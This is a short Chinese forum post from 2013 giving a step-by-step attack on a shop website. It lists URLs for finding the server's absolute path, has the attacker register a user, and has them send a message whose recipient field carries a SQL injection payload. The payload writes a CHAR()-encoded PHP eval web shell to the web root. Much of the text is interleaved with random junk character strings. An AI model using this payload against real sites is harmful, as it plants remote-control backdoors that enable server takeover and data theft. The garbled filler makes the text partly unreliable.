第一个：想办法找到目标网站的绝对路径
4 c% `6 P( e/ k9 J1 O+ t% m" M9 V- i7 }) U. W
http://www.political-security.com/install/svinfo.php?phpinfo=true
& E: n' y( I& b5 U( p* S7 z
& A# p+ H( p, B1 D3 Q# B: l o. Jhttp:/www.political-security.com/core/api/shop_api.php
" F& w; s5 q& P0 @' {% \ f j' m( \- F$ T% |
http://www.political-security.co ... api_b2b_2_0_cat.php" R. F% X% t M; x% }4 |- J
) Z2 _ g( h; ^8 U( N& N
http://www.political-security.com/core/ap ... b_2_0_goodstype.php
) r% I; b& H$ e/ H. L
{0 q! d: k9 d6 vhttp://www.political-security.co ... i_b2b_2_0_brand.php9 R0 y7 ]! L2 Y) |1 b
第二个：注册一个普通用户0 ^$ S R+ i1 J
9 j. O- d7 r; g4 shttp://www.political-security.com/?passport-signup.html0 y, B# |1 ~$ [9 ?: G' q
! ~+ w+ ]6 q' x& A1 c! ^; ^0 b
第三个： 发送消息 ( @: E- v) V! y
4 r8 u0 Z5 L7 K6 j" V# Y: F ?
http://www.political-security.com/?member-send.html4 L, o" g+ [2 `5 }- P# a/ y
发送给中填写# J1 q d# T: L3 b( ~! S
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对